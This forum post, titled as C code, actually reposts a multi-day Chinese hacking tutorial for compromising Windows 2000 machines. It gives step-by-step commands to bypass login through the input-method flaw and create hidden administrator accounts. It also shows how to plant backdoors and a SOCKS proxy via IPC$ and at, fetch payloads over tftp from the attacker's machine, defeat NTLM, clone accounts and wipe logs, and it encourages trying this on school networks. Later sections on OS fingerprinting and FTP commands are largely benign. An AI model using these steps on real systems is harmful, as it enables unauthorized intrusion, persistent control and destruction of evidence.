超强 C 语言代码,你有信心看懂吗?

刚刚说有输入法漏洞的机子很少了，但有些朋友担心还有怎么办，不是吃大亏了吗？这样我找了一篇写的不错的文章贴一下(注意是转载)写的不错，据说是新写的，这位大哥也真闲啊

WIN2000 中文简体版存在的输入法漏洞，可以使本地用户绕过身分验证机制进入系统内部。经实验，WIN2000 中文简体版的终端服务，在远程操作时仍然存在这一漏洞，而且危害更大。

WIN2000 的终端服务功能，能使系统管理员对 WIN2000 进行远程操作，采用的是图形界面，能使用户在远程控制计算机时功能与在本地使用一样，其默认端口为 3389，用户只要装了 WIN2000 的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为 WIN2000 的合法木马。

工具：客户端连接管理器，下载地址：自己找吧，天天有好几种呢。

入侵步骤：

一，获得管理员账号。

我们先对一个网段进行扫描，扫描端口设为 3389，运行客户端连接管理器，将扫描到的任一地址加入到，设置好客户端连接管理器，然后与服务器连结。几秒钟后，屏幕上显示出 WIN2000 登录界面（如果发现是英文或繁体中文版，放弃，另换一个地址），用 CTRL+SHIFT 快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条（如果没有出现，请耐心等待，因为对方的数据流传输还有一个过程）。用右键点击状态条上的微软徽标，弹出“帮助”（如果发现“帮助”呈灰色，放弃，因为对方很可能发现并已经补上了这个漏洞），打开“帮助”一栏中“操作指南”，在最上面的任务栏点击右键，会弹出一个菜单，打开“跳至 URL”。此时将出现 WIN2000 的系统安装路径和要求我们填入的路径的空白栏。比如，该系统安装在 C 盘上，就在空白栏中填入"c:\winnt\system32"。然后按“确定”，于是我们就成功地绕过了身份验证，进入了系统的 SYSTEM32 目录。

现在我们要获得一个账号，成为系统的合法用户。在该目录下找到"net.exe"，为"net.exe"创建一个快捷方式，右键点击该快捷方式，在“属性”－>“目标”－>c:\winnt\system32\net.exe 后面空一格，填入"user guest /active :yes"点“确定”。这一步骤目的在于用 net.exe 激活被禁止使用的 guest 账户，当然也可以利用"user 用户名　密码／add"，创建一个新账号，但容易引起网管怀疑。运行该快捷方式，此时你不会看到运行状态，但 guest 用户已被激活。然后又修改该快捷方式，填入"user guest 密码"，运行，于是 guest 便有了密码。最后，再次修改，填入“localgroup administrators guest /add，将 guest 变成系统管理员。

注意事项：１、在这过程中，如果对方管理员正在使用终端服务管理器，他将看到你所打开的进程 id，你的 ip 和机器名，甚至能够给你发送消息。

２、终端服务器在验证你的身份的时候只留给了你一分钟的时间，在这一分钟内如果你不能完成上述操作，你只能再连结。

３、你所看到的图像与操作会有所延迟，这受网速的影响。

二，创建跳板。

再次登录终端用务器，以"guest"身份进入，此时 guest 已是系统管理员，已具备一切可执行权。打开“控制面板”，进入“网络和拔号连接”，在“本地连接”或“拔号连接”中查看属性，看对方是否选择“Microsoft 网络的文件和打印机共享”，如果没有，就打上勾。对方如果使用的是拔号上网，下次拔号网络共享才会打开。

退出对方系统，在本地机命令提示符下，输入

net use \\IP Address\IPC$ ["password"] /user:"guset"，通过 IPC 的远程登陆就成功了。

登陆成功之后先复制一个 Telnet 的程序上去（小榕流光安装目录下的 Tools 目录里的 Srv.exe,另外，还有 ntml.xex，一会要用），这个程序是在对方上面开一个 Telnet 服务，端口是 99。

copy c:\hack\srv.exe ***.***.***.***\admin$

然后利用定时服务启动它，先了解对方的时间：

net time ***.***.***.***

显示：

..***.*** 的当前时间是 2001/1/8 下午 08:55

命令成功完成。

然后启动 srv.exe:

at ***.***.***.*** 09:00 srv.exe

显示：

新加了一项作业，其作业 ID = 0

过几分钟后，telnet ***.***.***.*** 99

这里不需要验证身份，直接登录，显示：

c:\winnt:\system32>

我们就成功登陆上去了。然后又在本地打开命令提示符，另开一个窗口，输入：

copy c:\hack\ntlm.exe \\211.21.193.202\admin$

把事先存放在 hack 目录里的 ntlm.exe 拷过去。然后又回到刚才的 telnet 窗口，运行 ntlm.exe

C:\WINNT\system32>ntlm

显示：

Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.

Done!

C:\WINNT\system32>

C:\WINNT\system32>

好，现在我们来启动 WIN2000 本身的 telnet，首先终止 srv.exe 的 telnet 服务：

net stop telnet　系统告诉你并没有启动 telnet，不理它，继续：

net start telnet　这次真的启动了 telnet，我们可以在另开的命令提示符窗口 telnet 到对方的

23 端口，验证身份，输入我们的 guest 账号和密码，它就真正成为我们的跳板了。我们可以利用它到其它的主机去。

三、扫除脚印：

删除为 net.exe 创建的快捷方式，删除 winnt\system32\logfiles 下边的日志文件

[第 5 天]从简单的网络命令讲起

有个朋友问了我个问题：端口映射是什么意思？？

其实很简单的，采用端口映射（Port Mapping）的方法，可以实现从 Internet 到局域网内部机器的特定端口服务的访问。例如，你所使用的机子处于一个连接到 Internet 的局域网内，你在机子上所开的所有服务（如 FTP），默认情况下外界是访问不了的。这是因为你机子的 IP 是局域网内部 IP，而外界能访问的只有你所连接的服务器的 IP，由于整个局域网在 Internet 上只有一个真正的 IP 地址，而这个 IP 地址是属于局域网中服务器独有的。所以，外部的 Internet 登录时只可以找到局域网中的服务器，那你提供的服务当然是不起作用的。

所以解决这个问题的方法就是采用 PM 了。

有篇文章不错。大家看看：http://www.pconline.com.cn/pcedu/soft/lan/jywgl/10301/127157.html

继续讲，昨天有人说我找到个肉鸡，但不会用远程控制软件。先说用什么好呢

我推荐 Remote Administrator，有篇介绍它的文章很好：http://www.pcworld.com.cn/2002/back_issues/2205/0533e.asp

下载：http://www.skycn.com/soft/15592.html

我想里面的说明你应该能很好理解的

现在我以一个例子来说一下怎么获得一个肉鸡，虽然前面一直在说，但好象有点乱的，下面说的这个有点投机取巧的感觉，至少我这样觉得，不过因为很多朋友说都 5 天了，我什么都没搞到啊，所以只能。。

第一步：扫描弱口令

这里我用 20cn 开发的 scanipc （这 http://down.yqdown.com/xdown/yqdown0316/scanipc.rar 有下的）

不一会就会扫到很多有弱口令的主机

（你可以拿你们学校的 IP 试试）

这里我用 opentelnet（远程启动 TELNET 的小东西，这里下：http://www.infosw.com/down/software.asp?id=1520）给扫描到开了空口令的主机开个端口让我们 telnet 连接上去

,开了 23 端口，并可以连接上的主机就不用进行次步骤了!

Opentelnet 使用方法:

OpenTelnet.exe \\server <帐号> <密码> <NTLM 认证方式> <Telnet 端口>

列如:

C:\>OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90 用户名：administrator 密码：123456

NTLM 认证方式:1(也可以选择 0 请自己测试) 开的端口：90

运行完，如果屏幕上出现 Disconnecting server...Successfully! 就说明已经成功。

这样，我们就能够得到一个开 90 端口的 Telnet 服务器了。

Telnet 192.168.1.2 90

这样就可以登录上去了。

第三步：配置并安装后门程序

这里我选择 WinShell(小巧精干我喜欢下载：http://www.hktk.com/soft/soft_server/winshell.html)，用 winshell 主程序设置好后门，然后把后门程序传到台 FTP 空间上!

列如:

c:\>ftp

ftp>openwww.cnwill.com

然后输入用户名字 密码把后门传上去 mput c:\cnwill.exe

现在我们登陆到肉鸡上 Telnet 192.168.1.2 90

把刚上传的后门程序下载并运行(别忘记删除 后门程序)

『后门也可以用 net 命令完成』

net user \\192.168.1.2 90\ipc$ "" /user:"administrator"

[建 立 IPC$ 连 接]

copy d:\zilong.exe \\192.168.1.2 90\admin$\system32

[上传一个后门程序到对方的主机里]

copy d:\long.exe \\192.168.1.2 90\admin$\system32

[上传一个删除日志程序到对方的主机里]

copy d:\scoks.exe \\192.168.1.2 90\admin$\system32

[上传一个SCOKS代理程序到对方的主机里]

copy d:\zilong.reg \\192.168.1.2 90\admin$\system32

[上传导入注册表的REG文件到对方的主机里]请看后门说明

net time \\192.168.1.2 90

[得到对方主机的当前时间]

at \\192.168.1.2 90 13:20 zilong.exe

[用at命令执行我们的后门程序]别把时间搞错了哦

==========

如果大家用不习惯命令的话,那就用流光的IPC种植者吧,简单易用.这里就不赘述啦

==========

telnet 192.168.1.2 90

[从我们设置的后门程序登陆主机]

net user **** /add

[近来后添加一个用户名再说或者也可以选择激活guest]

net localgroup administrators **** /add

[把自己添加到管理组里,这样我们就是超级管理员了]

regedit /s c:\winnt\system32\zilong.reg

[把后门程序导入注册表的启动项]这样做是防止被别人停止我们

的后门服务程序,就算我们的后门服务程序被停止了,在主机重启动后我们的后门

服务就又继续运行了.

SOCKS -install

[开始安装socks代理]

SCOKS -config starttype 2

[使 SOCKS 代 理 程 序 自 动 运 行，不 怕 肉 鸡 再 重 启 了]

socks -config port 1080

[socks 代 理 端 口 设 置 为 1080]

net start skserver

[启 动 SOCKS 代 理 服 务]可以打开 QQ 设置 IP 代理了

long

[刚 才 上 传 的 一 个 删 除 日 志 程 序,运 行 它 就 可 以 了]

[第 6 天]从 telnet 讲起

先说 telnet,什么是 telnet?Telnet 服务虽然也属于客户机/服务器模型的服务，但它更大的意义在于实现了基于 Telnet 协议的远程登录（远程交互式计算），那么什么是远程登录?

我想这个大家都明白一点,定义:远程登陆是指用户使用 Telnet 命令，使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器，它只负责把用户输入的每个字符传递给主机，再将主机输出的每个信息回显在屏幕上。

使用 Telnet 协议进行远程登陆时需要满足以下条件：在本的计算机上必须装有包含 Telnet 协议的客户程序；必须知道远程主机的 Ip 地址或域名；必须知道登录标识与口令。

Telnet 远程登录服务分为以下 4 个过程：

1）本地与远程主机建立连接。该过程实际上是建立一个 TCP 连接，用户必须知道远程主机的 Ip 地址或域名；

2）将本地终端上输入的用户名和口令及以后输入的任何命令或字符以 NVT（Net Virtual Terminal）格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个 IP 数据报；

3）将远程主机输出的 NVT 格式的数据转化为本地所接受的格式送回本地终端，包括输入命令回显和命令执行结果；

4）最后，本地终端对远程主机进行撤消连接。该过程是撤销一个 TCP 连接。

再说一下什么叫 Telnet 协议?简单点说 Telnet 协议是 TCP/IP 协议族中的一员，是 Internet 远程登陆服务的标准协议。应用 Telnet 协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务：

1）Telnet 定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统，他们只需构造使用标准接口的程序；

2）Telnet 包括一个允许客户机和服务器协商选项的机制，而且它还提供一组标准选项；

3）Telnet 对称处理连接的两端，即 Telnet 不强迫客户机从键盘输入，也不强迫客户机在屏幕上显示

输出。

关于这个就说这么多了,至于其他的一些就不说了,因为没什么帮助对我门,如果你有兴趣,可以去本站查查相关资料

再说说 Win2000 的 Telnet 服务,因为大部分服务器用的都是 2000 的

Win2000 为我们提供了 Telnet 客户机和服务器程序：Telnet.exe 是客户机程序（Client），tlntsvr.exe 是服务器程序（server），同时它还为我们提供了 Telnet 服务器管理程序 tlntadmn.exe。 其实从应用层面上，Win2000 的 Telnet 服务并没有什么可说的，绝大部分内容你都可以从 HELP 文件中得到，我在此只是把它稍微整理一下而已.Windows 2000 默认安装了 Telnet 服务，但是并没有默认启动。下面给出 HELP 文件中 Telnet 服务的一部分默认设置：

AllowTrustedDomain：是否允许域用户访问。默认值是 1，允许信任域用户访问。可以改为 0: 不允许域用户访问（只允许本地用户）。

DefaultDomain：可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell：显示 shell 安装的路径位置。默认值是： %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins：在连接终止之前显示尝试登录失败的最大次数。默认是 3。

LoginScript：显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”，你可以更改脚本内容，这样登录进 Telnet 的欢迎屏幕就不一样了。

NTLM：NTLM 身份验证选项。默认是 2。可以有下面这些值：

0: 不使用 NTLM 身份验证。

1: 先尝试 NTLM 身份验证，如果失败，再使用用户名和密码。

2: 只使用 NTLM 身份验证。

TelnetPort：显示 telnet 服务器侦听 telnet 请求的端口。默认是：23。你也可以更改为其他端口。

以上各项设置你可以使用 tlntadmn.exe（Telnet 服务器管理程序）来进行非常方便的配置，配置后需要重新启动 Telnet 服务。如图 1

2 NTLM

提到了 telnet 就不能不提 NTLM，我想这也是让入侵者最为头痛的一件事，哪怕你获得了管理员帐号和密码，想简单通过 NTLM 也并非易事，况且 win2000 中的 telnet 默认仅以 NTLM 方式验证身份，这就让我们不得不关注 NTLM 这个东东，那么什么是 NTLM 呢？

早期的 SMB 协议在网络上明文传输口令，后来出现了"LAN Manager Challenge/Response"验证机制，简称 LM，它十分简单以至很容易被破解，微软随后提出了 WindowsNT 挑战/响应验证机制，即 NTLM。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。NTLM 工作流程是这样的：

1、客户端首先在本地加密当前用户的密码成为密码散列

2、客户端向服务器发送自己的帐号，这个帐号是没有经过加密的，明文直接传输

3、服务器产生一个 16 位的随机数字发送给客户端，作为一个 challenge（挑战）

4、客户端再用加密后的密码散列来加密这个 challenge ，然后把这个返回给服务器。作为 response（响应）

5、服务器把用户名、给客户端的 challenge 、客户端返回的 response 这三个东西，发送域控制器

6、域控制器用这个用户名在 SAM 密码管理库中找到这个用户的密码散列，然后使用这个密码散列来加密 challenge。

7、域控制器比较两次加密的 challenge ，如果一样，那么认证成功。

从上面的过程我们可以看出，NTLM 是以当前用户的身份向 Telnet 服务器发送登录请求的，而不是用你扫到的对方管理员的帐户和密码登录，显然，你的登录将会失败。举个例子来说，你家的机器名为 A（本地机器），你入侵的机器名为 B（远地机器），你在 A 上的帐户是 xinxin，密码是 1234，你扫到 B 的管理员帐号是 Administrator，密码是 5678，当你想 Telnet 到 B 时，NTLM 将自动以当前用户的帐号和密码作为登录的凭据来进行上面的 7 项操作，即用 xinxin 和 1234，而并非用你扫到的 Administrator 和 5678，且这些都是自动完成的，根本不给你插手的机会，因此你的登录操作将失败。

由于 Telnet 服务器对 NTLM 的使用有 3 个选项，所以当你 Telnet 远地机器时，会显示下面情况中的一种：

1)身份验证选项=0 时

==========

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

password:

\\为 0 时不使用 NTML 身份验证，直接输入用户名和密码，比如你可以输入扫到的 Administrator 和 5678

2)身份验证选项=1 时

==========

NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

password:

\\先尝试 NTLM 身份验证，如果失败，再使用用户名和密码，其实这种方式对于我们来说，与上一种方式没什么区别

3)身份验证选项=2 时

==========

NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password

Server allows NTLM authentication only

Server has closed connection

遗失对主机的连接。

C:\>

\\仔细看看上面的显示，根本没有给你输入用户名和密码的机会，直接断开连接，扫到了密码也是白扫

所以对于入侵者来说，NTLM 是横在我们面前的一座大山，必须要除掉它，一般我们有如下几种方法：

1 通过修改远程注册表更改 telnet 服务器配置，将验证方式从 2 改为 1 或 0；

2 使用 NTLM.exe，上传后直接运行，可将 telnet 服务器验证方式从 2 改为 1；

3 在本地建立扫描到的用户，以此用户身份开启 telnet 客户机并进行远程登录；

4 使用软件，比如 opentelnet.exe（需要管理员权限且开启 IPC 管道）

5 使用脚本，如 RTCS，（需要管理员权限但不依赖 IPC 管道）

基本上是以上的 5 种，其中后两种是我们比较常用的开 telnet 的手法，而且使用方法十分简单，命令如下：

OpenTelnet.exe \\server username password NTLMAuthor telnetport

OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式（填 0 或 1） telnet 端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport

cscript RTCS.vbe <目标 IP> <管理员用户名> <密码> <验证方式> <tlnet 端口>

那 telnet 上去后不知道该做什么了?很多朋友这样问了,我想如果你是从第 1 天看的,应该知道吧,我就再说说吧

1 查看系统信息

呵呵，其实就是随处看看，看看他的系统配置和版本（用 type c:\boot.ini 来知道 pro 版或 server 版），看看都装了什么服务或软件（从目录名就可以知道了），看看有什么重要或有趣的文件啦（唉，要是国外的机器，看也看不懂），看看他的用户情况，总之就是尽可能多的了解系统，为一会装后门摸底。

2 使用 tftp 传送文件

想必大家都遇到过在 telnet 中传输文件的问题，因为我们习惯了在 ipc 管道中的文件传输，所以有些朋友喜欢用 net share ipc$ 来打开管道，进而利用 copy 来传输文件。不过这样反而麻烦，既然我们已经得到了 shell(这个前面已经很详细的说过了)们可以用 TFPT 命令来完成这一切，什么是 TFTP 呢？

用 TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于 UDP 连接的文件传输，一般是使用 Windows 自带的 tftp.exe 和一个 TFTP 服务器端软件构成一个完整的传输结构。它是这样使用的：首先运行本地的 TFTP Server（比如 tftpd32.exe）软件并保证始终开启直至传输全部完成， 然后在 telnet 中（当然你也可以在其他 shell 中）运行下面的命令：

C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe

其中 ip 为你自己机器的 ip，且上传文件要与 TFTP 服务器端在同一目录下，这样你就可以把 xinxin.exe 上传到 c 盘 abc 目录下了（其实是从 tftp 服务器下载来的）

需要指出的是，如果使用代理 IP，你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的 IP 地址加入到你的数据报中，代替你的内部网络地址，所以在外部网络进行 MAC 寻址时是找不到你这台 TFTP 服务器的。

3 安置后门

如果你入侵还有其他目的，比如以破坏为主，或者是来修改主页的，那么这些事情当然可以在安置后门之前做；如果你只是想得到一只肉鸡，那就没什么可说的了，安后门吧

这个问题我在前面有讲过一点,但不详细.用的后门一般有：木马，asp 木马，远程控制软件，克隆帐户，建立并隐藏帐户，telnet，telnet 扩展的 shell，终端服务等。安置一个好的后门通常要注意以下几点：(这是一个前辈写的我 copy 一下,很中肯的)

1 不会被防火墙查杀及阻碍通信：被加入病毒库的后门最好加壳以逃过防火墙，尽量用低端口通信，以免被防火墙屏蔽。

2 最大限度增加隐蔽性：如果你选择远程控制软件，要注意被控端的安装提示和小图标，以及是否同步画面；如果你在帐户上做文章，要尽量保持在 cmd 和用户管理中都不出破绽；如果你选择放木马或 telnet 扩展，要注意文件和进程的隐藏；如果新开了终端服务（入侵前并没有开），一定要该掉 3389 这个显眼的端口，且越低越好。

不要当管理员不存在：这是一个大忌，许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户，真是无知者无畏呀。所以安置后门的时候，想想管理员疏忽的地方会在哪里。

4 打补丁

如果想独霸肉鸡，就要会打补丁，要知道对肉鸡的竞争是很激烈的。怎么打补丁呢？这个也要问？想想你是怎么进来的吧。算了，提示一下，除了修补大的漏洞以外（上传官方补丁并运行），也要

注意它的共享，ipc$共享（最好都关闭），可疑端口，容易被利用的服务等。不过打补丁也要注意隐蔽性的，不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件，如果不太会就去找相关教材吧，在这里我不详细介绍了。(上一篇我讲过一点)

好了,基本上就这么多了,今天就到这了,希望能给大家一些帮助

[第 7 天]继续讲，从克隆帐号 讲起

前 2 天基本的一些东西都讲过了，今天我觉得得把克隆帐号这个问题讲清楚了

什么叫克隆帐号 ？

前辈说：在注册表中有两处保存了帐号的 SID 相对标志符,一处是 SAM\Domains\Account \Users 下的子键名，另一处是该子键的子项 F 的值中。这里微软犯了个不同步它们的错误，登陆时用的是后者，查询时用前者。当用 admin 的 F 项覆盖其他帐号的 F 项后，就造成了帐号是管理员权限但查询还是原来状态的情况 。即所谓的克隆帐号。（我想这个很明白的，如果还有这个问题，你去网络技术版块问吧）

说到克垄帐号就得说说 SAM 安全帐号管理器，详细的我就不重复了，因为呢多前辈写了很多很棒的文章，大家有兴趣就看看：http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=1427

明白原理后就可以手动或者用现成的工具克隆帐号，用什么呢？

克隆 ca.exe 下载（找了许久 啊）http://www.hejie.net/xz/list.asp?id=926

注意手动克隆需要 SYSTEM 权限（这句话大家应该能明白吧）

用什么呢？psu.exe

还是很棒的，下载：www.sometips.com/soft/psu.exe

[第 8 天]从回答一个朋友的问题说起

有个朋友发了短信给我问怎么判断对方主机的操作系统呢？今天我们就先说说这个问题。我先从最简单的 PING 看主机操作系统说起

一、用 ping 来识别操作系统

C:\>ping 10.1.1.2

Pinging 10.1.1.2 with 32 bytes of data:

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Ping statistics for 10.1.1.2:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\>

C:\>ping 10.1.1.6

Pinging 10.1.1.6 with 32 bytes of data:

Request timed out.

Reply from 10.1.1.6: bytes=32 time=250ms TTL=237

Reply from 10.1.1.6: bytes=32 time=234ms TTL=237

Reply from 10.1.1.6: bytes=32 time=234ms TTL=237

Ping statistics for 10.1.1.6:

Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),

Approximate round trip times in milli-seconds:

Minimum = 234ms, Maximum = 250ms, Average = 179ms

我们跟据 ICMP 报文的 TTL 的值，我们就可以大概知道主机的类型。如：TTL=125 左右的主机应该是 windows 系列的机子，TTL=235 左右的主机应该是 UINX 系列的机子。如上面的两个例子，10.1.1.2 就是 win2000 的机子，而 10.1.1.6 则是 UINX（Sunos 5.8）的机子。这是因为不同操作系统的机子对 ICMP 报文的处理与应答是有所不同的，TTL 值每过一个路由器会减 1。所以造成了 TTL 回复值的不同。对于 TTL 值与操作系统类型的对应，还要*大家平时多注意观察和积累。

二、直接通过联接端口根据其返回的信息来判操作系统

这种方法应该说是用得最多的一种方法，下面我们来看几个实例。

1、如果机子开了 80 端口，我们可以 telnet 它的 80 端口。

C:\>telnet 10.1.1.2 80

输入 get 回车（注意这里是盲打）

如果返回，

HTTP/1.1 400 Bad Request

Server: Microsoft-IIS/5.0

Date: Fri, 11 Jul 2003 02:31:55 GMT

Content-Type: text/html

Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrect. </body>

</html>

遗失对主机的连接。

C:\>

那么这台就肯定是 windows 的机子。

如果返回，

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method

Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> get to / not

supported.<P> Invalid method in request get<P><HR> <ADDRESS>Apache/1.3.27 Server at gosiuniversity.com Port 80</ADDRESS>

</BODY></HTML>

遗失对主机的连接。

C:\>

那么多数就是 UINX 系统的机子了。

2、如果机子开了 21 端口，我们可以直接 FTP 上去

C:\>ftp 10.1.1.2

如果返回，

Connected to 10.1.1.2.

220 sgyyq-c43s950 Microsoft FTP Service (Version 5.0).

User (10.1.1.2:(none)):

那么这就肯定是一台 win2000 的机子了，我们还可以知道主机名呢，主机名就是 sgyyq-c43s950。这个 FTP 是 windows 的 IIS 自带的一个 FTP 服务器。

如果返回，

Connected to 10.1.1.3.

220 Serv-U FTP Server v4.0 for WinSock ready...

User (10.1.1.3:(none)):

也可以肯定它是 windows 的机子，因为 Serv-U FTP 是一个专为 windows 平台开发的 FTP 服务器。

如果返回，

Connected to 10.1.1.3.

220 ready, dude (vsFTPd 1.1.0: beat me, break me)

User (10.1.1.3:(none)):

那么这就是一台 UINX 的机子了。

3、如果开了 23 端口，这个就简单了，直接 telnet 上去。

如果返回，

Microsoft ? Windows ? Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

那么这肯定是一台 windows 的机子了

如果返回，

SunOS 5.8

login:

不用说了，这当然是一台 UINX 的机子了，并且版本是 SunOS 5.8 的

三、利用专门的软件来识别

这种有识别操作系统功能的软件，多数采用的是操作系统协议栈识别技术。这是因为不同的厂家在编写自己操作系统时，TCP/IP 协议虽然是统一的，但对 TCP/IP 协议栈是没有做统一的规定的，厂家可以按自己的要求来编写 TCP/IP 协议栈，从而造成了操作系统之间协议栈的不同。因此我们可以通过分析协议栈的不同来区分不同的操作系统，只要建立起协议栈与操作系统对应的数据库，我们就可以准确的识别操作系统了。

下面是简单介绍两款有识别功能的软件，具体用法我就不说，你可以到网上去找找相应软件的说明使用

一是 nmap,下载地址：http://www.linuxeden.com/download/indexsoft.php?category=syssecure 它采用的是

主动式探测，探测时会主动向目标系统发送探测包，根据目标目标机回应的数据包来，叛断对方机的操作系统。

2、 天眼，采用的是被动式的探测方法。不向目标系统发送数据包，只是被动地探测网络上的通信数据，通过分析这些数据来判断操作系统的类型。配合 supersan 使用，较果很好。

下载地址 http://www.xfocus.net/tools/200206/天眼 1.0.5.zip

『第 9 天』从 FTP 入侵到 SQL

大家都知道 FTP，但很多人都讲不好它具体指什么，FTP 是指文件传输协议，因特网上常用的文件传输协议，它使用户能够在两个联网计算机间实现文件传输，是因特网上传递文件最主要的方法。在使用 FTP 进行文件传输时，首先启动 FTP 客户端程序与远程主机建立连接，然后向远程主机发出传输命令，远程主机在收到命令后给予响应，并执行正确的命令。除此之外，FTP 还提供登录、目录查询、文件操作及其他会话控制功能。 很详细了吧，别老是认为 FTP 就是传文件的软件，呵呵

因为 FTP 是一种文件传输方式，所以要入侵它就有点困难了，一般现在都没什么用了，因为即使你取得了上传权限也无法直接执行程序，在 UNIX 或是早期一些主机上或许有一些溢出或是越权的漏洞。今天我们说这个是因为很多 FTP 都是可以匿名登陆的（各个高校的至少对校内的都是吧，也有严格的好像科大的就是需要很严格的认证，晕^^^)，这就有文章做了

对了，说到这我想说一下 FTP 的一些基本命令，大家可能都知道，还是说一下 （以人为本嘛）很长的，希望大家耐性看

FTP 命令：

FTP 的命令行格式为： ftp -v -d -i -n -g [主机名]，

其中 -v 显示远程服务器的所有响应信息；

-n 限制 ftp 的自动登录，即不使用；.n etrc 文件；

-d 使用调试方式；

-g 取消全局文件名。

FTP 使用的内部命令如下(中括号表示可选项):

1.![cmd[args>：在本地机中执行交互 shell，exit 回到 ftp 环境，如：!ls*.zip

2.$ macro-ame[args]： 执行宏定义 macro-name。

3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。

4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。

5.ascii：使用 ascii 类型传输方式。

6.bell：每个命令执行完毕后计算机响铃一次。

7.bin：使用二进制文件传输方式。

8.bye：退出 ftp 会话过程。

9.case：在使用 mget 时，将远程主机文件名中的大写转为小写字母。

10.cd remote-dir：进入远程主机目录。

11.cdup：进入远程主机目录的父目录。

12.chmod mode file-name：将远程主机文件 file-name 的存取方式设置为 mode，如：chmod 777 a.out。

13.close：中断与远程服务器的 ftp 会话(与 open 对应)。

14.cr：使用 asscii 方式传输文件时，将回车换行转换为回行。

15.delete remote-file：删除远程主机文件。

16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为 0，表示取消 debug。

17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件

18.disconnection：同 close。

19.form format：将文件传输方式设置为 format，缺省为 file 方式。

20.get remote-file[local-file]： 将远程主机的文件 remote-file 传至本地硬盘的 local-file。

21.glob：设置 mdelete，mget，mput 的文件名扩展，缺省时不扩展文件名，同命令行的-g 参数。

22.hash：每传输 1024 字节，显示一个 hash 符号(#)。

23.help[cmd]：显示 ftp 内部命令 cmd 的帮助信息，如：help get。

24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。

25.image：设置二进制传输方式(同 binary)。

26.lcd[dir]：将本地工作目录切换至 dir。

27.ls[remote-dir][local-file]：显示远程目录 remote-dir， 并存入本地文件 local-file。

28.macdef macro-name：定义一个宏，遇到 macdef 下的空行时，宏定义结束。

29.mdelete[remote-file]：删除远程主机文件。

30.mdir remote-files local-file：与 dir 类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。

31.mget remote-files：传输多个远程文件。

32.mkdir dir-name：在远程主机中建一目录。

33.mls remote-file local-file：同 nlist，但可指定多个文件名。

34.mode[modename]：将文件传输方式设置为 modename， 缺省为 stream 方式。

35.modtime file-name：显示远程主机文件的最后修改时间。

36.mput local-file：将多个文件传输至远程主机。

37.newer file-name： 如果远程机中 file-name 的修改时间比本地硬盘同名文件的时间更近，则重传该文件。

38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的 local-file。

39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换，如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件 a1.a2.a3 时，文件名变为 a1，a2。 该命令特别适用于远程主机为非 UNIX 机的情况。

40.ntrans[inchars[outchars>：设置文件名字符的翻译机制，如 ntrans1R，则文件名 LLL 将变为 RRR。

41.open host[port]：建立指定 ftp 服务器连接，可指定连接端口。

42.passive：进入被动传输方式。

43.prompt：设置多个文件传输时的交互提示。

44.proxy ftp-cmd：在次要控制连接中，执行一条 ftp 命令， 该命令允许连接两个 ftp 服务器，以在两个服务器间传输文件。第一条 ftp 命令必须为 open，以首先建立两个服务器间的连接。

45.put local-file[remote-file]：将本地文件 local-file 传送至远程主机。

46.pwd：显示远程主机的当前工作目录。

47.quit：同 bye，退出 ftp 会话。

48.quote arg1，arg2...：将参数逐字发至远程 ftp 服务器，如：quote syst.

49.recv remote-file[local-file]：同 get。

50.reget remote-file[local-file]：类似于 get， 但若 local-file 存在，则从上次传输中断处续传。

51.rhelp[cmd-name]：请求获得远程主机的帮助。

52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。

53.rename[from][to]：更改远程主机文件名。

54.reset：清除回答队列。

55.restart marker：从指定的标志 marker 处，重新开始 get 或 put，如：restart 130。

56.rmdir dir-name：删除远程主机目录。

57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2 等。

